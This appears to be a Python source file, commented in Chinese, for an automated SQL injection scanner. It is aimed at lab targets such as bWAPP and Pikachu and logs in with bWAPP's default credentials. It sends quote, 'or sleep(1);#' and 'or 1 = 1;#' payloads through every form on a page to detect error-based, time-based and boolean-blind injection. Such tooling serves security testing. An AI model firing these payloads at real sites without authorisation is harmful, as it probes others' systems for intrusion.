import re
import time
from urllib.parse import urljoin, urlparse
from func_timeout import func_set_timeout
import requests
from bs4 import BeautifulSoup as bs
import difflib

sql_session = requests.Session()


# 登录
def login(login_url) -> None:
    """

    :param login_url:
    :return:
    """
    login_payload = {
        "login": "bee",
        "password": "bug",
        "security_level": "1",
        "form": "submit",
    }
    sql_session.get(login_url)
    sql_session.post(login_url, data=login_payload)


def get_all_forms(url):
    """获取所有表单"""
    try:
        soup = bs(sql_session.get(url).content, "html.parser")
        forms = soup.find_all("form")
        print(f"[+] Detected {len(forms)} forms on {url}.")
    except:
        print('[x]获取表单时出现错误', Exception)
        return None
    return forms


def get_form_details(form):
    """
    获取所有能够提交的表单
    :return details in dic
    """
    details = {}
    # 获取action
    try:
        action = form.attrs.get("action").lower()
    except:
        action = None
    # 获取提交方法 GET POST
    method = form.attrs.get("method", "get").lower()
    # g获取表单信息
    inputs = []
    for input_tag in form.find_all(["input", "select", "textarea"]):
        input_type = input_tag.attrs.get("type", "text")
        input_name = input_tag.attrs.get("name")
        input_value = input_tag.attrs.get("value", "")
        inputs.append({"type": input_type, "name": input_name, "value": input_value})
    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    return details


def send_form(url, payload, forms):
    if forms is None:
        return None
    res = None
    for form in forms:
        form_details = get_form_details(form)
        data = {}
        for input_tag in form_details["inputs"]:
            if input_tag["value"] or input_tag["type"] == "hidden":
                # 有隐藏数据(例如TOKEN),则直接提交
                try:
                    data[input_tag["name"]] = input_tag["value"]
                except:
                    pass
            elif input_tag["type"] != "submit":
                # all others except submit, use some junk data with special character
                data[input_tag["name"]] = f"test{payload}"
        # join the url with the action (form request URL)
        url = urljoin(url, form_details["action"])
        if form_details["method"] == "post":
            res = sql_session.post(url, data=data)
        elif form_details["method"] == "get":
            res = sql_session.get(url, params=data)
        else:
            res = None
    return res


def error_based(url, forms):
    """
    获取报错信息判断是否有漏洞
    :return: Result in bool
    """
    payloads = ["'", '"']
    errors = {
        # MySQL
        "you have an error in your sql syntax;",
        "warning: mysql",
        # SQL Server
        "unclosed quotation mark after the character string",
        # Oracle
        "quoted string not properly terminated",
    }
    try:
        for payload in payloads:
            response = send_form(url, payload, forms)
            if response is not None:
                for error in errors:
                    # if you find one of these errors, return True
                    if error in response.content.decode(response.encoding).lower():
                        return True
    except:
        print('解码失败')
        return False

    try:
        for c in "\"'":
            # 直接构造但、双引号进行查找
            new_url = f"{url}{c}"
            # make the HTTP request
            res = sql_session.get(new_url)
            for error in errors:
                # if you find one of these errors, return True
                if error in res.content.decode(res.encoding).lower():
                    return True
    except:
        print('解码失败')
        return False
    # no error detected
    return False


@func_set_timeout(2)
def res_time(url, form_details, sql_session, data):
    start_time = time.time()
    if form_details["method"] == "post":
        sql_session.post(url, data=data)
        if time.time() - start_time > 1:
            return None
    elif form_details["method"] == "get":
        sql_session.get(url, params=data)
        if time.time() - start_time > 1:
            return None
    return True


def time_based(url, forms):
    payloads = [
        '" or sleep(1);#',
        "' or sleep(1);#"
    ]

    struct = urlparse(url)
    if struct.query != '':
        font_url = struct.scheme + '://' + struct.netloc + struct.path + struct.params
        for payload in payloads:
            payload_params = {}
            params = struct.query.split('&')
            for p in params:
                payload_params[p.split('=')[0]] = payload
            s_time = time.time()
            sql_session.get(font_url, params=payload_params)
            t = time.time() - s_time
            s_time = time.time()
            sql_session.get(url)
            t = t - time.time() + s_time
            if t >= 1:
                return True

    # forms 检查

    for payload in payloads:
        if forms is None:
            return None
        for form in forms:
            form_details = get_form_details(form)
            data = {}
            for input_tag in form_details["inputs"]:
                if input_tag["value"] or input_tag["type"] == "hidden":
                    # 有隐藏数据(例如TOKEN),则直接提交
                    try:
                        data[input_tag["name"]] = input_tag["value"]
                    except:
                        pass
                elif input_tag["type"] != "submit":
                    # all others except submit, use some junk data with special character
                    data[input_tag["name"]] = f"test{payload}"
            # join the url with the action (form request URL)
            url = urljoin(url, form_details["action"])
            try:
                if res_time(url, form_details, sql_session, data) is None:
                    return True
                else:
                    continue
            except:
                return True


def boolean_based(url, forms):
    payloads = [
        '" or 1 = 1;#',
        "' or 1 = 1;#"
    ]
    if not forms:
        return False
    response1 = send_form(url, 'test1', forms)
    response2 = send_form(url, 'test2', forms)
    type = None
    differ = difflib.SequenceMatcher(None, response1.text, response2.text).quick_ratio()
    if differ > 0.95:
        type = 'verify'
    elif differ < 0.5:
        type = 'search'
    if type is None:
        return False
    for payload in payloads:
        response = send_form(url, f'test1{payload}', forms)
        if type == 'verify' and difflib.SequenceMatcher(None, response1.text, response.text).quick_ratio() < 0.5:
            return True
        if type == 'search' and difflib.SequenceMatcher(None, response1.text, response.text).quick_ratio() > 0.99:
            return True
        # for r in ['success', '成功', 'welcome', '欢迎']:
        #     if re.search(r, response.text.lower()):
        #         return True
        return False


def scan(url, session=requests.session()):
    sql_session = session
    # login("http://bwapp:8000/login.php")
    result = []
    if url[-1] != '/':
        url += '/'
    forms = get_all_forms(url)
    if error_based(url, forms):
        print(f"\033[33m[!]发现【sql报错注入漏洞】在{url}页面上\033[0m")
        result.append({
            'vun_type': "sql",
            "status": '高危',
            'url': url,
            "description": "报错注入",
            "payload": "????"
        })
    if boolean_based(url, forms):
        print(f"\033[33m[!]发现【sql布尔盲注漏洞】在{url}页面上 \033[0m")
        result.append({
            'vun_type': "sql",
            "status": '中危',
            'url': url,
            "description": "布尔盲注",
            "payload": "????"
        })
    if time_based(url, forms):
        print(f"\033[33m[!]发现【sql时间盲注漏洞】在{url}页面上 \033[0m")
        result.append({
            'vun_type': "sql",
            "status": '中危',
            'url': url,
            "description": "时间注入",
            "payload": "????"
        })
    return result


if __name__ == "__main__":
    url = 'http://pikachu:8000/vul/sqli/sqli_blind_t.php'
    print(boolean_based(url, get_all_forms(url)))
